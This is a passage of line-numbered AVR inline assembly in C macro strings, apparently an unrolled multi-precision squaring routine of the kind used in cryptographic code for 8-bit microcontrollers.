16891 "mul r4, r18 \n\t" \
16892 "add r23, r0 \n\t" \
16893 "adc r24, r1 \n\t" \
16894 "adc r22, r25 \n\t" \
16895 "mul r5, r17 \n\t" \
16896 "add r23, r0 \n\t" \
16897 "adc r24, r1 \n\t" \
16898 "adc r22, r25 \n\t" \
16899 "mul r6, r16 \n\t" \
16900 "add r23, r0 \n\t" \
16901 "adc r24, r1 \n\t" \
16902 "adc r22, r25 \n\t" \
16903 "mul r7, r15 \n\t" \
16904 "add r23, r0 \n\t" \
16905 "adc r24, r1 \n\t" \
16906 "adc r22, r25 \n\t" \
16907 "mul r8, r14 \n\t" \
16908 "add r23, r0 \n\t" \
16909 "adc r24, r1 \n\t" \
16910 "adc r22, r25 \n\t" \
16911 "mul r9, r13 \n\t" \
16912 "add r23, r0 \n\t" \
16913 "adc r24, r1 \n\t" \
16914 "adc r22, r25 \n\t" \
16915 "mul r10, r12 \n\t" \
16916 "add r23, r0 \n\t" \
16917 "adc r24, r1 \n\t" \
16918 "adc r22, r25 \n\t" \
16919 "lsl r23 \n\t" \
16920 "rol r24 \n\t" \
16921 "rol r22 \n\t" \
16922 "mul r11, r11 \n\t" \
16923 "add r23, r0 \n\t" \
16924 "adc r24, r1 \n\t" \
16925 "adc r22, r25 \n\t" \
16926 "add r23, r28 \n\t" \
16927 "adc r24, r29 \n\t" \
16928 "adc r22, r25 \n\t" \
16929 "st z+, r23 \n\t" \
16930 \
16931 "ldi r29, 0 \n\t" \
16932 "mul r2, r21 \n\t" \
16933 "mov r23, r0 \n\t" \
16934 "mov r28, r1 \n\t" \
16935 "mul r3, r20 \n\t" \
16936 "add r23, r0 \n\t" \
16937 "adc r28, r1 \n\t" \
16938 "adc r29, r25 \n\t" \
16939 "mul r4, r19 \n\t" \
16940 "add r23, r0 \n\t" \
16941 "adc r28, r1 \n\t" \
16942 "adc r29, r25 \n\t" \
16943 "mul r5, r18 \n\t" \
16944 "add r23, r0 \n\t" \
16945 "adc r28, r1 \n\t" \
16946 "adc r29, r25 \n\t" \
16947 "mul r6, r17 \n\t" \
16948 "add r23, r0 \n\t" \
16949 "adc r28, r1 \n\t" \
16950 "adc r29, r25 \n\t" \
16951 "mul r7, r16 \n\t" \
16952 "add r23, r0 \n\t" \
16953 "adc r28, r1 \n\t" \
16954 "adc r29, r25 \n\t" \
16955 "mul r8, r15 \n\t" \
16956 "add r23, r0 \n\t" \
16957 "adc r28, r1 \n\t" \
16958 "adc r29, r25 \n\t" \
16959 "mul r9, r14 \n\t" \
16960 "add r23, r0 \n\t" \
16961 "adc r28, r1 \n\t" \
16962 "adc r29, r25 \n\t" \
16963 "mul r10, r13 \n\t" \
16964 "add r23, r0 \n\t" \
16965 "adc r28, r1 \n\t" \
16966 "adc r29, r25 \n\t" \
16967 "mul r11, r12 \n\t" \
16968 "add r23, r0 \n\t" \
16969 "adc r28, r1 \n\t" \
16970 "adc r29, r25 \n\t" \
16971 "lsl r23 \n\t" \
16972 "rol r28 \n\t" \
16973 "rol r29 \n\t" \
16974 "add r23, r24 \n\t" \
16975 "adc r28, r22 \n\t" \
16976 "adc r29, r25 \n\t" \
16977 "st z+, r23 \n\t" \
16978 \
16979 "ld r2, x+ \n\t" \
16980 "ldi r22, 0 \n\t" \
16981 "mul r3, r21 \n\t" \
16982 "mov r23, r0 \n\t" \
16983 "mov r24, r1 \n\t" \
16984 "mul r4, r20 \n\t" \
16985 "add r23, r0 \n\t" \
16986 "adc r24, r1 \n\t" \
16987 "adc r22, r25 \n\t" \
16988 "mul r5, r19 \n\t" \
16989 "add r23, r0 \n\t" \
16990 "adc r24, r1 \n\t" \
16991 "adc r22, r25 \n\t" \
16992 "mul r6, r18 \n\t" \
16993 "add r23, r0 \n\t" \
16994 "adc r24, r1 \n\t" \
16995 "adc r22, r25 \n\t" \
16996 "mul r7, r17 \n\t" \
16997 "add r23, r0 \n\t" \
16998 "adc r24, r1 \n\t" \
16999 "adc r22, r25 \n\t" \
17000 "mul r8, r16 \n\t" \
17001 "add r23, r0 \n\t" \
17002 "adc r24, r1 \n\t" \
17003 "adc r22, r25 \n\t" \
17004 "mul r9, r15 \n\t" \
17005 "add r23, r0 \n\t" \
17006 "adc r24, r1 \n\t" \
17007 "adc r22, r25 \n\t" \
17008 "mul r10, r14 \n\t" \
17009 "add r23, r0 \n\t" \
17010 "adc r24, r1 \n\t" \
17011 "adc r22, r25 \n\t" \
17012 "mul r11, r13 \n\t" \
17013 "add r23, r0 \n\t" \
17014 "adc r24, r1 \n\t" \
17015 "adc r22, r25 \n\t" \
17016 "ld r0, z \n\t" \
17017 "add r23, r0 \n\t" \
17018 "adc r24, r25 \n\t" \
17019 "adc r22, r25 \n\t" \
17020 "lsl r23 \n\t" \
17021 "rol r24 \n\t" \
17022 "rol r22 \n\t" \
17023 "mul r12, r12 \n\t" \
17024 "add r23, r0 \n\t" \
17025 "adc r24, r1 \n\t" \
17026 "adc r22, r25 \n\t" \
17027 "add r23, r28 \n\t" \
17028 "adc r24, r29 \n\t" \
17029 "adc r22, r25 \n\t" \
17030 "st z+, r23 \n\t" \
17031 \
17032 "ldi r29, 0 \n\t" \
17033 "mul r3, r2 \n\t" \
17034 "mov r23, r0 \n\t" \
17035 "mov r28, r1 \n\t" \
17036 "mul r4, r21 \n\t" \
17037 "add r23, r0 \n\t" \
17038 "adc r28, r1 \n\t" \
17039 "adc r29, r25 \n\t" \
17040 "mul r5, r20 \n\t" \
17041 "add r23, r0 \n\t" \
17042 "adc r28, r1 \n\t" \
17043 "adc r29, r25 \n\t" \
17044 "mul r6, r19 \n\t" \
17045 "add r23, r0 \n\t" \
17046 "adc r28, r1 \n\t" \
17047 "adc r29, r25 \n\t" \
17048 "mul r7, r18 \n\t" \
17049 "add r23, r0 \n\t" \
17050 "adc r28, r1 \n\t" \
17051 "adc r29, r25 \n\t" \
17052 "mul r8, r17 \n\t" \
17053 "add r23, r0 \n\t" \
17054 "adc r28, r1 \n\t" \
17055 "adc r29, r25 \n\t" \
17056 "mul r9, r16 \n\t" \
17057 "add r23, r0 \n\t" \
17058 "adc r28, r1 \n\t" \
17059 "adc r29, r25 \n\t" \
17060 "mul r10, r15 \n\t" \
17061 "add r23, r0 \n\t" \
17062 "adc r28, r1 \n\t" \
17063 "adc r29, r25 \n\t" \
17064 "mul r11, r14 \n\t" \
17065 "add r23, r0 \n\t" \
17066 "adc r28, r1 \n\t" \
17067 "adc r29, r25 \n\t" \
17068 "mul r12, r13 \n\t" \
17069 "add r23, r0 \n\t" \
17070 "adc r28, r1 \n\t" \
17071 "adc r29, r25 \n\t" \
17072 "ld r0, z \n\t" \
17073 "add r23, r0 \n\t" \
17074 "adc r28, r25 \n\t" \
17075 "adc r29, r25 \n\t" \
17076 "lsl r23 \n\t" \
17077 "rol r28 \n\t" \
17078 "rol r29 \n\t" \
17079 "add r23, r24 \n\t" \
17080 "adc r28, r22 \n\t" \
17081 "adc r29, r25 \n\t" \
17082 "st z+, r23 \n\t" \
17083 \
17084 "ld r3, x+ \n\t" \
17085 "ldi r22, 0 \n\t" \
17086 "mul r4, r2 \n\t" \
17087 "mov r23, r0 \n\t" \
17088 "mov r24, r1 \n\t" \
17089 "mul r5, r21 \n\t" \
17090 "add r23, r0 \n\t" \
17091 "adc r24, r1 \n\t" \
17092 "adc r22, r25 \n\t" \
17093 "mul r6, r20 \n\t" \
17094 "add r23, r0 \n\t" \
17095 "adc r24, r1 \n\t" \
17096 "adc r22, r25 \n\t" \
17097 "mul r7, r19 \n\t" \
17098 "add r23, r0 \n\t" \
17099 "adc r24, r1 \n\t" \
17100 "adc r22, r25 \n\t" \
17101 "mul r8, r18 \n\t" \
17102 "add r23, r0 \n\t" \
17103 "adc r24, r1 \n\t" \
17104 "adc r22, r25 \n\t" \
17105 "mul r9, r17 \n\t" \
17106 "add r23, r0 \n\t" \
17107 "adc r24, r1 \n\t" \
17108 "adc r22, r25 \n\t" \
17109 "mul r10, r16 \n\t" \
17110 "add r23, r0 \n\t" \
17111 "adc r24, r1 \n\t" \
17112 "adc r22, r25 \n\t" \
17113 "mul r11, r15 \n\t" \
17114 "add r23, r0 \n\t" \
17115 "adc r24, r1 \n\t" \
17116 "adc r22, r25 \n\t" \
17117 "mul r12, r14 \n\t" \
17118 "add r23, r0 \n\t" \
17119 "adc r24, r1 \n\t" \
17120 "adc r22, r25 \n\t" \
17121 "ld r0, z \n\t" \
17122 "add r23, r0 \n\t" \
17123 "adc r24, r25 \n\t" \
17124 "adc r22, r25 \n\t" \
17125 "lsl r23 \n\t" \
17126 "rol r24 \n\t" \
17127 "rol r22 \n\t" \
17128 "mul r13, r13 \n\t" \
17129 "add r23, r0 \n\t" \
17130 "adc r24, r1 \n\t" \
17131 "adc r22, r25 \n\t" \
17132 "add r23, r28 \n\t" \
17133 "adc r24, r29 \n\t" \
17134 "adc r22, r25 \n\t" \
17135 "st z+, r23 \n\t" \
17136 \
17137 "ldi r29, 0 \n\t" \
17138 "mul r4, r3 \n\t" \
17139 "mov r23, r0 \n\t" \
17140 "mov r28, r1 \n\t" \
17141 "mul r5, r2 \n\t" \
17142 "add r23, r0 \n\t" \
17143 "adc r28, r1 \n\t" \
17144 "adc r29, r25 \n\t" \
17145 "mul r6, r21 \n\t" \
17146 "add r23, r0 \n\t" \
17147 "adc r28, r1 \n\t" \
17148 "adc r29, r25 \n\t" \
17149 "mul r7, r20 \n\t" \
17150 "add r23, r0 \n\t" \
17151 "adc r28, r1 \n\t" \
17152 "adc r29, r25 \n\t" \
17153 "mul r8, r19 \n\t" \
17154 "add r23, r0 \n\t" \
17155 "adc r28, r1 \n\t" \
17156 "adc r29, r25 \n\t" \
17157 "mul r9, r18 \n\t" \
17158 "add r23, r0 \n\t" \
17159 "adc r28, r1 \n\t" \
17160 "adc r29, r25 \n\t" \
17161 "mul r10, r17 \n\t" \
17162 "add r23, r0 \n\t" \
17163 "adc r28, r1 \n\t" \
17164 "adc r29, r25 \n\t" \
17165 "mul r11, r16 \n\t" \
17166 "add r23, r0 \n\t" \
17167 "adc r28, r1 \n\t" \
17168 "adc r29, r25 \n\t" \
17169 "mul r12, r15 \n\t" \
17170 "add r23, r0 \n\t" \
17171 "adc r28, r1 \n\t" \
17172 "adc r29, r25 \n\t" \
17173 "mul r13, r14 \n\t" \
17174 "add r23, r0 \n\t" \
17175 "adc r28, r1 \n\t" \
17176 "adc r29, r25 \n\t" \
17177 "ld r0, z \n\t" \
17178 "add r23, r0 \n\t" \
17179 "adc r28, r25 \n\t" \
17180 "adc r29, r25 \n\t" \
17181 "lsl r23 \n\t" \
17182 "rol r28 \n\t" \
17183 "rol r29 \n\t" \
17184 "add r23, r24 \n\t" \
17185 "adc r28, r22 \n\t" \
17186 "adc r29, r25 \n\t" \
17187 "st z+, r23 \n\t" \
17188 \
17189 "ld r4, x+ \n\t" \
17190 "ldi r22, 0 \n\t" \
17191 "mul r5, r3 \n\t" \
17192 "mov r23, r0 \n\t" \
17193 "mov r24, r1 \n\t" \
17194 "mul r6, r2 \n\t" \
17195 "add r23, r0 \n\t" \
17196 "adc r24, r1 \n\t" \
17197 "adc r22, r25 \n\t" \
17198 "mul r7, r21 \n\t" \
17199 "add r23, r0 \n\t" \
17200 "adc r24, r1 \n\t" \
17201 "adc r22, r25 \n\t" \
17202 "mul r8, r20 \n\t" \
17203 "add r23, r0 \n\t" \
17204 "adc r24, r1 \n\t" \
17205 "adc r22, r25 \n\t" \
17206 "mul r9, r19 \n\t" \
17207 "add r23, r0 \n\t" \
17208 "adc r24, r1 \n\t" \
17209 "adc r22, r25 \n\t" \
17210 "mul r10, r18 \n\t" \
17211 "add r23, r0 \n\t" \
17212 "adc r24, r1 \n\t" \
17213 "adc r22, r25 \n\t" \
17214 "mul r11, r17 \n\t" \
17215 "add r23, r0 \n\t" \
17216 "adc r24, r1 \n\t" \
17217 "adc r22, r25 \n\t" \
17218 "mul r12, r16 \n\t" \
17219 "add r23, r0 \n\t" \
17220 "adc r24, r1 \n\t" \
17221 "adc r22, r25 \n\t" \
17222 "mul r13, r15 \n\t" \
17223 "add r23, r0 \n\t" \
17224 "adc r24, r1 \n\t" \
17225 "adc r22, r25 \n\t" \
17226 "ld r0, z \n\t" \
17227 "add r23, r0 \n\t" \
17228 "adc r24, r25 \n\t" \
17229 "adc r22, r25 \n\t" \
17230 "lsl r23 \n\t" \
17231 "rol r24 \n\t" \
17232 "rol r22 \n\t" \
17233 "mul r14, r14 \n\t" \
17234 "add r23, r0 \n\t" \
17235 "adc r24, r1 \n\t" \
17236 "adc r22, r25 \n\t" \
17237 "add r23, r28 \n\t" \
17238 "adc r24, r29 \n\t" \
17239 "adc r22, r25 \n\t" \
17240 "st z+, r23 \n\t" \
17241 \
17242 "ldi r29, 0 \n\t" \
17243 "mul r5, r4 \n\t" \
17244 "mov r23, r0 \n\t" \
17245 "mov r28, r1 \n\t" \
17246 "mul r6, r3 \n\t" \
17247 "add r23, r0 \n\t" \
17248 "adc r28, r1 \n\t" \
17249 "adc r29, r25 \n\t" \
17250 "mul r7, r2 \n\t" \
17251 "add r23, r0 \n\t" \
17252 "adc r28, r1 \n\t" \
17253 "adc r29, r25 \n\t" \
17254 "mul r8, r21 \n\t" \
17255 "add r23, r0 \n\t" \
17256 "adc r28, r1 \n\t" \
17257 "adc r29, r25 \n\t" \
17258 "mul r9, r20 \n\t" \
17259 "add r23, r0 \n\t" \
17260 "adc r28, r1 \n\t" \
17261 "adc r29, r25 \n\t" \
17262 "mul r10, r19 \n\t" \
17263 "add r23, r0 \n\t" \
17264 "adc r28, r1 \n\t" \
17265 "adc r29, r25 \n\t" \
17266 "mul r11, r18 \n\t" \
17267 "add r23, r0 \n\t" \
17268 "adc r28, r1 \n\t" \
17269 "adc r29, r25 \n\t" \
17270 "mul r12, r17 \n\t" \
17271 "add r23, r0 \n\t" \
17272 "adc r28, r1 \n\t" \
17273 "adc r29, r25 \n\t" \
17274 "mul r13, r16 \n\t" \
17275 "add r23, r0 \n\t" \
17276 "adc r28, r1 \n\t" \
17277 "adc r29, r25 \n\t" \
17278 "mul r14, r15 \n\t" \
17279 "add r23, r0 \n\t" \
17280 "adc r28, r1 \n\t" \
17281 "adc r29, r25 \n\t" \
17282 "ld r0, z \n\t" \
17283 "add r23, r0 \n\t" \
17284 "adc r28, r25 \n\t" \
17285 "adc r29, r25 \n\t" \
17286 "lsl r23 \n\t" \
17287 "rol r28 \n\t" \
17288 "rol r29 \n\t" \
17289 "add r23, r24 \n\t" \
17290 "adc r28, r22 \n\t" \
17291 "adc r29, r25 \n\t" \
17292 "st z+, r23 \n\t" \
17293 \
17294 "ld r5, x+ \n\t" \
17295 "ldi r22, 0 \n\t" \
17296 "mul r6, r4 \n\t" \
17297 "mov r23, r0 \n\t" \
17298 "mov r24, r1 \n\t" \
17299 "mul r7, r3 \n\t" \
17300 "add r23, r0 \n\t" \
17301 "adc r24, r1 \n\t" \
17302 "adc r22, r25 \n\t" \
17303 "mul r8, r2 \n\t" \
17304 "add r23, r0 \n\t" \
17305 "adc r24, r1 \n\t" \
17306 "adc r22, r25 \n\t" \
17307 "mul r9, r21 \n\t" \
17308 "add r23, r0 \n\t" \
17309 "adc r24, r1 \n\t" \
17310 "adc r22, r25 \n\t" \
17311 "mul r10, r20 \n\t" \
17312 "add r23, r0 \n\t" \
17313 "adc r24, r1 \n\t" \
17314 "adc r22, r25 \n\t" \
17315 "mul r11, r19 \n\t" \
17316 "add r23, r0 \n\t" \
17317 "adc r24, r1 \n\t" \
17318 "adc r22, r25 \n\t" \
17319 "mul r12, r18 \n\t" \
17320 "add r23, r0 \n\t" \
17321 "adc r24, r1 \n\t" \
17322 "adc r22, r25 \n\t" \
17323 "mul r13, r17 \n\t" \
17324 "add r23, r0 \n\t" \
17325 "adc r24, r1 \n\t" \
17326 "adc r22, r25 \n\t" \
17327 "mul r14, r16 \n\t" \
17328 "add r23, r0 \n\t" \
17329 "adc r24, r1 \n\t" \
17330 "adc r22, r25 \n\t" \
17331 "ld r0, z \n\t" \
17332 "add r23, r0 \n\t" \
17333 "adc r24, r25 \n\t" \
17334 "adc r22, r25 \n\t" \
17335 "lsl r23 \n\t" \
17336 "rol r24 \n\t" \
17337 "rol r22 \n\t" \
17338 "mul r15, r15 \n\t" \
17339 "add r23, r0 \n\t" \
17340 "adc r24, r1 \n\t" \
17341 "adc r22, r25 \n\t" \
17342 "add r23, r28 \n\t" \
17343 "adc r24, r29 \n\t" \
17344 "adc r22, r25 \n\t" \
17345 "st z+, r23 \n\t" \
17346 \
17347 "ldi r29, 0 \n\t" \
17348 "mul r6, r5 \n\t" \
17349 "mov r23, r0 \n\t" \
17350 "mov r28, r1 \n\t" \
17351 "mul r7, r4 \n\t" \
17352 "add r23, r0 \n\t" \
17353 "adc r28, r1 \n\t" \
17354 "adc r29, r25 \n\t" \
17355 "mul r8, r3 \n\t" \
17356 "add r23, r0 \n\t" \
17357 "adc r28, r1 \n\t" \
17358 "adc r29, r25 \n\t" \
17359 "mul r9, r2 \n\t" \
17360 "add r23, r0 \n\t" \
17361 "adc r28, r1 \n\t" \
17362 "adc r29, r25 \n\t" \
17363 "mul r10, r21 \n\t" \
17364 "add r23, r0 \n\t" \
17365 "adc r28, r1 \n\t" \
17366 "adc r29, r25 \n\t" \
17367 "mul r11, r20 \n\t" \
17368 "add r23, r0 \n\t" \
17369 "adc r28, r1 \n\t" \
17370 "adc r29, r25 \n\t" \
17371 "mul r12, r19 \n\t" \
17372 "add r23, r0 \n\t" \
17373 "adc r28, r1 \n\t" \
17374 "adc r29, r25 \n\t" \
17375 "mul r13, r18 \n\t" \
17376 "add r23, r0 \n\t" \
17377 "adc r28, r1 \n\t" \
17378 "adc r29, r25 \n\t" \
17379 "mul r14, r17 \n\t" \
17380 "add r23, r0 \n\t" \
17381 "adc r28, r1 \n\t" \
17382 "adc r29, r25 \n\t" \
17383 "mul r15, r16 \n\t" \
17384 "add r23, r0 \n\t" \
17385 "adc r28, r1 \n\t" \
17386 "adc r29, r25 \n\t" \
17387 "ld r0, z \n\t" \
17388 "add r23, r0 \n\t" \
17389 "adc r28, r25 \n\t" \
17390 "adc r29, r25 \n\t" \
17391 "lsl r23 \n\t" \
17392 "rol r28 \n\t" \
17393 "rol r29 \n\t" \
17394 "add r23, r24 \n\t" \
17395 "adc r28, r22 \n\t" \
17396 "adc r29, r25 \n\t" \
17397 "st z+, r23 \n\t" \
17398 \
17399 "ld r6, x+ \n\t" \
17400 "ldi r22, 0 \n\t" \
17401 "mul r7, r5 \n\t" \
17402 "mov r23, r0 \n\t" \
17403 "mov r24, r1 \n\t" \
17404 "mul r8, r4 \n\t" \
17405 "add r23, r0 \n\t" \
17406 "adc r24, r1 \n\t" \
17407 "adc r22, r25 \n\t" \
17408 "mul r9, r3 \n\t" \
17409 "add r23, r0 \n\t" \
17410 "adc r24, r1 \n\t" \
17411 "adc r22, r25 \n\t" \
17412 "mul r10, r2 \n\t" \
17413 "add r23, r0 \n\t" \
17414 "adc r24, r1 \n\t" \
17415 "adc r22, r25 \n\t" \
17416 "mul r11, r21 \n\t" \
17417 "add r23, r0 \n\t" \
17418 "adc r24, r1 \n\t" \
17419 "adc r22, r25 \n\t" \
17420 "mul r12, r20 \n\t" \
17421 "add r23, r0 \n\t" \
17422 "adc r24, r1 \n\t" \
17423 "adc r22, r25 \n\t" \
17424 "mul r13, r19 \n\t" \
17425 "add r23, r0 \n\t" \
17426 "adc r24, r1 \n\t" \
17427 "adc r22, r25 \n\t" \
17428 "mul r14, r18 \n\t" \
17429 "add r23, r0 \n\t" \
17430 "adc r24, r1 \n\t" \
17431 "adc r22, r25 \n\t" \
17432 "mul r15, r17 \n\t" \
17433 "add r23, r0 \n\t" \
17434 "adc r24, r1 \n\t" \
17435 "adc r22, r25 \n\t" \
17436 "ld r0, z \n\t" \
17437 "add r23, r0 \n\t" \
17438 "adc r24, r25 \n\t" \
17439 "adc r22, r25 \n\t" \
17440 "lsl r23 \n\t" \
17441 "rol r24 \n\t" \
17442 "rol r22 \n\t" \
17443 "mul r16, r16 \n\t" \
17444 "add r23, r0 \n\t" \
17445 "adc r24, r1 \n\t" \
17446 "adc r22, r25 \n\t" \
17447 "add r23, r28 \n\t" \
17448 "adc r24, r29 \n\t" \
17449 "adc r22, r25 \n\t" \
17450 "st z+, r23 \n\t" \
17451 \
17452 "ldi r29, 0 \n\t" \
17453 "mul r7, r6 \n\t" \
17454 "mov r23, r0 \n\t" \
17455 "mov r28, r1 \n\t" \
17456 "mul r8, r5 \n\t" \
17457 "add r23, r0 \n\t" \
17458 "adc r28, r1 \n\t" \
17459 "adc r29, r25 \n\t" \
17460 "mul r9, r4 \n\t" \
17461 "add r23, r0 \n\t" \
17462 "adc r28, r1 \n\t" \
17463 "adc r29, r25 \n\t" \
17464 "mul r10, r3 \n\t" \
17465 "add r23, r0 \n\t" \
17466 "adc r28, r1 \n\t" \
17467 "adc r29, r25 \n\t" \
17468 "mul r11, r2 \n\t" \
17469 "add r23, r0 \n\t" \
17470 "adc r28, r1 \n\t" \
17471 "adc r29, r25 \n\t" \
17472 "mul r12, r21 \n\t" \
17473 "add r23, r0 \n\t" \
17474 "adc r28, r1 \n\t" \
17475 "adc r29, r25 \n\t" \
17476 "mul r13, r20 \n\t" \
17477 "add r23, r0 \n\t" \
17478 "adc r28, r1 \n\t" \
17479 "adc r29, r25 \n\t" \
17480 "mul r14, r19 \n\t" \
17481 "add r23, r0 \n\t" \
17482 "adc r28, r1 \n\t" \
17483 "adc r29, r25 \n\t" \
17484 "mul r15, r18 \n\t" \
17485 "add r23, r0 \n\t" \
17486 "adc r28, r1 \n\t" \
17487 "adc r29, r25 \n\t" \
17488 "mul r16, r17 \n\t" \
17489 "add r23, r0 \n\t" \
17490 "adc r28, r1 \n\t" \
17491 "adc r29, r25 \n\t" \
17492 "ld r0, z \n\t" \
17493 "add r23, r0 \n\t" \
17494 "adc r28, r25 \n\t" \
17495 "adc r29, r25 \n\t" \
17496 "lsl r23 \n\t" \
17497 "rol r28 \n\t" \
17498 "rol r29 \n\t" \
17499 "add r23, r24 \n\t" \
17500 "adc r28, r22 \n\t" \
17501 "adc r29, r25 \n\t" \
17502 "st z+, r23 \n\t" \
17503 \
17504 "ld r7, x+ \n\t" \
17505 "ldi r22, 0 \n\t" \
17506 "mul r8, r6 \n\t" \
17507 "mov r23, r0 \n\t" \
17508 "mov r24, r1 \n\t" \
17509 "mul r9, r5 \n\t" \
17510 "add r23, r0 \n\t" \
17511 "adc r24, r1 \n\t" \
17512 "adc r22, r25 \n\t" \
17513 "mul r10, r4 \n\t" \
17514 "add r23, r0 \n\t" \
17515 "adc r24, r1 \n\t" \
17516 "adc r22, r25 \n\t" \
17517 "mul r11, r3 \n\t" \
17518 "add r23, r0 \n\t" \
17519 "adc r24, r1 \n\t" \
17520 "adc r22, r25 \n\t" \
17521 "mul r12, r2 \n\t" \
17522 "add r23, r0 \n\t" \
17523 "adc r24, r1 \n\t" \
17524 "adc r22, r25 \n\t" \
17525 "mul r13, r21 \n\t" \
17526 "add r23, r0 \n\t" \
17527 "adc r24, r1 \n\t" \
17528 "adc r22, r25 \n\t" \
17529 "mul r14, r20 \n\t" \
17530 "add r23, r0 \n\t" \
17531 "adc r24, r1 \n\t" \
17532 "adc r22, r25 \n\t" \
17533 "mul r15, r19 \n\t" \
17534 "add r23, r0 \n\t" \
17535 "adc r24, r1 \n\t" \
17536 "adc r22, r25 \n\t" \
17537 "mul r16, r18 \n\t" \
17538 "add r23, r0 \n\t" \
17539 "adc r24, r1 \n\t" \
17540 "adc r22, r25 \n\t" \
17541 "ld r0, z \n\t" \
17542 "add r23, r0 \n\t" \
17543 "adc r24, r25 \n\t" \
17544 "adc r22, r25 \n\t" \
17545 "lsl r23 \n\t" \
17546 "rol r24 \n\t" \
17547 "rol r22 \n\t" \
17548 "mul r17, r17 \n\t" \
17549 "add r23, r0 \n\t" \
17550 "adc r24, r1 \n\t" \
17551 "adc r22, r25 \n\t" \
17552 "add r23, r28 \n\t" \
17553 "adc r24, r29 \n\t" \
17554 "adc r22, r25 \n\t" \
17555 "st z+, r23 \n\t" \
17556 \
17557 "ldi r29, 0 \n\t" \
17558 "mul r8, r7 \n\t" \
17559 "mov r23, r0 \n\t" \
17560 "mov r28, r1 \n\t" \
17561 "mul r9, r6 \n\t" \
17562 "add r23, r0 \n\t" \
17563 "adc r28, r1 \n\t" \
17564 "adc r29, r25 \n\t" \
17565 "mul r10, r5 \n\t" \
17566 "add r23, r0 \n\t" \
17567 "adc r28, r1 \n\t" \
17568 "adc r29, r25 \n\t" \
17569 "mul r11, r4 \n\t" \
17570 "add r23, r0 \n\t" \
17571 "adc r28, r1 \n\t" \
17572 "adc r29, r25 \n\t" \
17573 "mul r12, r3 \n\t" \
17574 "add r23, r0 \n\t" \
17575 "adc r28, r1 \n\t" \
17576 "adc r29, r25 \n\t" \
17577 "mul r13, r2 \n\t" \
17578 "add r23, r0 \n\t" \
17579 "adc r28, r1 \n\t" \
17580 "adc r29, r25 \n\t" \
17581 "mul r14, r21 \n\t" \
17582 "add r23, r0 \n\t" \
17583 "adc r28, r1 \n\t" \
17584 "adc r29, r25 \n\t" \
17585 "mul r15, r20 \n\t" \
17586 "add r23, r0 \n\t" \
17587 "adc r28, r1 \n\t" \
17588 "adc r29, r25 \n\t" \
17589 "mul r16, r19 \n\t" \
17590 "add r23, r0 \n\t" \
17591 "adc r28, r1 \n\t" \
17592 "adc r29, r25 \n\t" \
17593 "mul r17, r18 \n\t" \
17594 "add r23, r0 \n\t" \
17595 "adc r28, r1 \n\t" \
17596 "adc r29, r25 \n\t" \
17597 "ld r0, z \n\t" \
17598 "add r23, r0 \n\t" \
17599 "adc r28, r25 \n\t" \
17600 "adc r29, r25 \n\t" \
17601 "lsl r23 \n\t" \
17602 "rol r28 \n\t" \
17603 "rol r29 \n\t" \
17604 "add r23, r24 \n\t" \
17605 "adc r28, r22 \n\t" \
17606 "adc r29, r25 \n\t" \
17607 "st z+, r23 \n\t" \
17608 \
17609 "ld r8, x+ \n\t" \
17610 "ldi r22, 0 \n\t" \
17611 "mul r9, r7 \n\t" \
17612 "mov r23, r0 \n\t" \
17613 "mov r24, r1 \n\t" \
17614 "mul r10, r6 \n\t" \
17615 "add r23, r0 \n\t" \
17616 "adc r24, r1 \n\t" \
17617 "adc r22, r25 \n\t" \
17618 "mul r11, r5 \n\t" \
17619 "add r23, r0 \n\t" \
17620 "adc r24, r1 \n\t" \
17621 "adc r22, r25 \n\t" \
17622 "mul r12, r4 \n\t" \
17623 "add r23, r0 \n\t" \
17624 "adc r24, r1 \n\t" \
17625 "adc r22, r25 \n\t" \
17626 "mul r13, r3 \n\t" \
17627 "add r23, r0 \n\t" \
17628 "adc r24, r1 \n\t" \
17629 "adc r22, r25 \n\t" \
17630 "mul r14, r2 \n\t" \
17631 "add r23, r0 \n\t" \
17632 "adc r24, r1 \n\t" \
17633 "adc r22, r25 \n\t" \
17634 "mul r15, r21 \n\t" \
17635 "add r23, r0 \n\t" \
17636 "adc r24, r1 \n\t" \
17637 "adc r22, r25 \n\t" \
17638 "mul r16, r20 \n\t" \
17639 "add r23, r0 \n\t" \
17640 "adc r24, r1 \n\t" \
17641 "adc r22, r25 \n\t" \
17642 "mul r17, r19 \n\t" \
17643 "add r23, r0 \n\t" \
17644 "adc r24, r1 \n\t" \
17645 "adc r22, r25 \n\t" \
17646 "ld r0, z \n\t" \
17647 "add r23, r0 \n\t" \
17648 "adc r24, r25 \n\t" \
17649 "adc r22, r25 \n\t" \
17650 "lsl r23 \n\t" \
17651 "rol r24 \n\t" \
17652 "rol r22 \n\t" \
17653 "mul r18, r18 \n\t" \
17654 "add r23, r0 \n\t" \
17655 "adc r24, r1 \n\t" \
17656 "adc r22, r25 \n\t" \
17657 "add r23, r28 \n\t" \
17658 "adc r24, r29 \n\t" \
17659 "adc r22, r25 \n\t" \
17660 "st z+, r23 \n\t" \
17661 \
17662 "ldi r29, 0 \n\t" \
17663 "mul r9, r8 \n\t" \
17664 "mov r23, r0 \n\t" \
17665 "mov r28, r1 \n\t" \
17666 "mul r10, r7 \n\t" \
17667 "add r23, r0 \n\t" \
17668 "adc r28, r1 \n\t" \
17669 "adc r29, r25 \n\t" \
17670 "mul r11, r6 \n\t" \
17671 "add r23, r0 \n\t" \
17672 "adc r28, r1 \n\t" \
17673 "adc r29, r25 \n\t" \
17674 "mul r12, r5 \n\t" \
17675 "add r23, r0 \n\t" \
17676 "adc r28, r1 \n\t" \
17677 "adc r29, r25 \n\t" \
17678 "mul r13, r4 \n\t" \
17679 "add r23, r0 \n\t" \
17680 "adc r28, r1 \n\t" \
17681 "adc r29, r25 \n\t" \
17682 "mul r14, r3 \n\t" \
17683 "add r23, r0 \n\t" \
17684 "adc r28, r1 \n\t" \
17685 "adc r29, r25 \n\t" \
17686 "mul r15, r2 \n\t" \
17687 "add r23, r0 \n\t" \
17688 "adc r28, r1 \n\t" \
17689 "adc r29, r25 \n\t" \
17690 "mul r16, r21 \n\t" \
17691 "add r23, r0 \n\t" \
17692 "adc r28, r1 \n\t" \
17693 "adc r29, r25 \n\t" \
17694 "mul r17, r20 \n\t" \
17695 "add r23, r0 \n\t" \
17696 "adc r28, r1 \n\t" \
17697 "adc r29, r25 \n\t" \
17698 "mul r18, r19 \n\t" \
17699 "add r23, r0 \n\t" \
17700 "adc r28, r1 \n\t" \
17701 "adc r29, r25 \n\t" \
17702 "ld r0, z \n\t" \
17703 "add r23, r0 \n\t" \
17704 "adc r28, r25 \n\t" \
17705 "adc r29, r25 \n\t" \
17706 "lsl r23 \n\t" \
17707 "rol r28 \n\t" \
